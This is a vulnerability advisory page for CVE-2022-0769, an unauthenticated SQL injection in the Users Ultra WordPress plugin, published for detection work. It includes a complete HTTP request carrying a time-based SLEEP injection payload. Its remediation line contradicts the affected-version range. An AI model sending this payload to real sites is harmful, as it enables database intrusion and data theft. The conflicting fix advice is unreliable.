🔙 목록으로 돌아가기

CVE-2022-0769: Users Ultra <= 3.1.0 - SQL Injection

TitleUsers Ultra <= 3.1.0 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
RemediationUpdate to Users Ultra version 3.1.0 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.87617
CVE IDCVE-2022-0769
CWE IDCWE-89
Tags time-based-sqli cve cve2022 wp users-ultra wpscan sqli wordpress wp-plugin usersultra vkev vuln

🔍 Vulnerability Description

The Users Ultra WordPress plugin through 3.1.0 fails to properly sanitize and escape the data_target parameter before it is being interpolated in an SQL statement and then executed via the rating_vote AJAX action (available to both unauthenticated and authenticated users), leading to an SQL Injection.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.5
Connection: close
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=rating_vote&data_id=1&data_target=vote_score+%3d+1+AND+(SELECT+3+FROM+(SELECT(SLEEP(6)))gwe)--+

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0769.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0769.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A